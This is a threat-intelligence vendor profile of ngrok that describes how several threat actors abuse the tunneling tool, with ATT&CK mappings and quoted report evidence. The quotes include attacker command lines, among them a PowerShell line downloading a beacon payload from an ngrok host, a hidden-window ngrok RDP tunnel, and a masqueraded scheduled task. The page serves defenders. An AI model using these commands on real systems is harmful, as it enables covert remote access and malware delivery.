Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
MalwareRansomwareUsed by 5 actorsExploits 1 CVE

Ngrok

ngrok is a legitimate tunneling and proxy utility that exposes local ports to the internet, optionally over TLS, and can proxy connections to systems located behind NAT or firewalls. In the provided reporting it is repeatedly abused by threat actors as a dual-use tool rather than described as a bespoke malware family. Observed malicious uses include tunneling RDP traffic over port 3389, establishing encrypted remote access to compromised internal servers and workstations, creating persistence when installed as a service, proxying command-and-control traffic to ngrok service subdomains, and configuring servers for data exfiltration. It was found alongside the Loki backdoor on infected machines, used by the Twelve threat actor to tunnel RDP and installed as a disguised service, used by Akira actors via nssm.exe to launch tunneling tools such as Ngrok or Ligolo-ng, attempted for download by the Iranian-aligned TunnelVision actor on compromised VMware Horizon servers and used there to tunnel RDP, retained by Vultur Android banking malware operators as part of remote-access functionality with AlphaVNC, referenced in Kimsuky/HappyDoor-related intrusions as an additional remote-access tool, deployed in a Microsoft Incident Response case to expose internal servers through encrypted tunnels for inbound RDP, used by UNC3944 as a covert tunneling tool to access devices without VPN or MFA, and used in the UNC2465 supply-chain intrusion for tunneling alongside UltraVNC. The content also maps ngrok to MITRE ATT&CK-related behaviors including Proxy, Protocol Tunneling, Web Service usage, and Exfiltration Over Web Service.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

EXPLOITED CVES

Vulnerabilities exploited

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

1 CVES
CVE-2021-44228Log4Shell

In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.

via sentinelone labssentinelone.com
THREAT ACTORS

Groups observed using it

5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Twelve

The adversary used ngrok to tunnel traffic. They installed that utility immediately after connecting to the system, and set port 3389 (standard RDP port) in the configuration file.

via securelistsecurelist.com
tunnelvision

In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.

via sentinelone labssentinelone.com
Kimsuky

The threat actor uses the additionally installed malware strains and proxy tools, such as Ngrok, to establish a proxy network environment.

via ahnlab asec blogasec.ahnlab.com
Fox Kitten

"ngrok is a tool used to expose a local port to the internet. Optionally, tunnels can be secured with TLS."

via cisa certus-cert.cisa.gov
Scattered Spider

...various covert tunneling tools, such as NGROK, RSOCX, and Localtonet.

via mandiant threat intelligencecloud.google.com
MITRE ATT&CK

Techniques & procedures

24 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1588.002ToolEvidence1

It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult.

Execution

3 techniques
T1053.005Scheduled TaskEvidence1

Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389

T1059Command and Scripting InterpreterEvidence2

ngrok runs at the command-line level; potential parent processes include: CMDline parameters ... PowerShell executes the ngrok application and binds the TCP port 3389

T1059.001PowerShellEvidence3

A PowerShell script like https://github.com/benyG/Invoke-Ngrok/blob/master/Invoke-Ngrok.ps1 can be leveraged by threat actors to drop and execute ngrok in a scripted fashion.

Persistence

3 techniques
T1053.005Scheduled TaskEvidence1

Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389

T1543Create or Modify System ProcessEvidence1

On several infected machines, the ngrok utility was found in the directory with the Loki loader. In other cases, instances of the gTunnel utility were discovered running in the context of the svchost.exe and runtimebroker.exe system processes.

T1543.003Windows ServiceEvidence1

Sophos XDR detected the threat actors using the service manager tool nssm.exe... to create the malicious service ‘sysmon,’ which executed sysmon.exe and launched tunneling tools such as Ngrok or Ligolo-ng

Privilege Escalation

3 techniques
T1053.005Scheduled TaskEvidence1

Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389

T1543Create or Modify System ProcessEvidence1

On several infected machines, the ngrok utility was found in the directory with the Loki loader. In other cases, instances of the gTunnel utility were discovered running in the context of the svchost.exe and runtimebroker.exe system processes.

T1543.003Windows ServiceEvidence1

Sophos XDR detected the threat actors using the service manager tool nssm.exe... to create the malicious service ‘sysmon,’ which executed sysmon.exe and launched tunneling tools such as Ngrok or Ligolo-ng

Stealth

3 techniques
T1036MasqueradingEvidence1

To avoid detection, the attackers disguised their malware and tasks under the names of existing products or services

T1036.004Masquerade Task or ServiceEvidence1

The threat actor used FRPC ( frpc.exe ) daily as reverse proxy, tunneling RDP over TLS. The FRPC ( frpc.exe ) task name was lpupdate and ran out of Input Method Editor (IME) directory. In other events, the threat actor has been observed hiding activity via ngrok.

T1564Hide ArtifactsEvidence1

powershell.exe /c Start-Process -WindowStyle Hidden -FilePath ngrok.exe -ArgumentList 'tcp 3389'

Discovery

1 technique
T1033System Owner/User DiscoveryEvidence1

In this example, the threat actor attempted to download ngrok... $c = "whoami"

Lateral Movement

4 techniques
T1021Remote ServicesEvidence1

For this purpose, Scattered Spider established persistence using VPN access or Remote Monitoring and Management (RMM) tools.

T1021.001Remote Desktop ProtocolEvidence6

After gaining access to the victim’s infrastructure, the attackers used the Remote Desktop Protocol (RDP) to move laterally.

T1021.005VNCEvidence1

Vultur still contains the remote access functionality using AlphaVNC and ngrok that it had back in 2021... the latest edition still includes the ability to remotely access the infected device through AlphaVNC and ngrok.

T1021.006Windows Remote ManagementEvidence1

expose remote desktop service ports, like RDP and WinRM, to the open internet

Collection

1 technique
T1560Archive Collected DataEvidence1

wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -Outfile C:\Windows\Temp\s.zip ; Expand-Archive -Path C:\Windows\Temp\s.zip -DestinationPath C:\Windows\Temp\rk\

Command and Control

8 techniques
T1071Application Layer ProtocolEvidence1

Upon launch, it connected to the C2 server, allowing the operator to execute commands on the compromised host... Cloudflared tunnels traffic through the Cloudflare network.

T1071.001Web ProtocolsEvidence2

PowerShell invokes ngrok to communicate to a C2 server to retrieve malicious payload and write to disk powershell.exe /c (new-object System.Net.WebClient).DownloadFile('http://2f65dfe21ccb.ngrok.io/b3.exe','C:\tmp\beacon.exe')

T1090ProxyEvidence8

Usage of the third-party tunneling tool Twingate... Tailscale, Ngrok, WsTunnel, Rsocx, and Socat.

T1090.002External ProxyEvidence9

The attackers used various dual-use and living-off-the-land tools for numerous purposes, including... Ngrok for network tunneling

T1102Web ServiceEvidence1

Throughout the activity the usage of multiple legitimate services was observed... transfer.sh pastebin.com webhook.site ufile.io raw.githubusercontent.com

T1105Ingress Tool TransferEvidence2

A PowerShell script like https://github.com/benyG/Invoke-Ngrok/blob/master/Invoke-Ngrok.ps1 can be leveraged by threat actors to drop and execute ngrok in a scripted fashion.

T1219Remote Access ToolsEvidence2

svchost.exe is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.

T1572Protocol TunnelingEvidence1

The threat actor used FRPC.exe to tunnel RDP over port 443. The threat actor has also been observed using ngrok for tunneling.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.

INDICATORS OF COMPROMISE

IOCs tracked for this family

2 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Hashes
2 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting
hash.md5●●●●●●●●●●●●View more in app1 month ago
hash.md5●●●●●●●●●●●●View more in app2 years ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching2

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution5

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities1

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping24

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.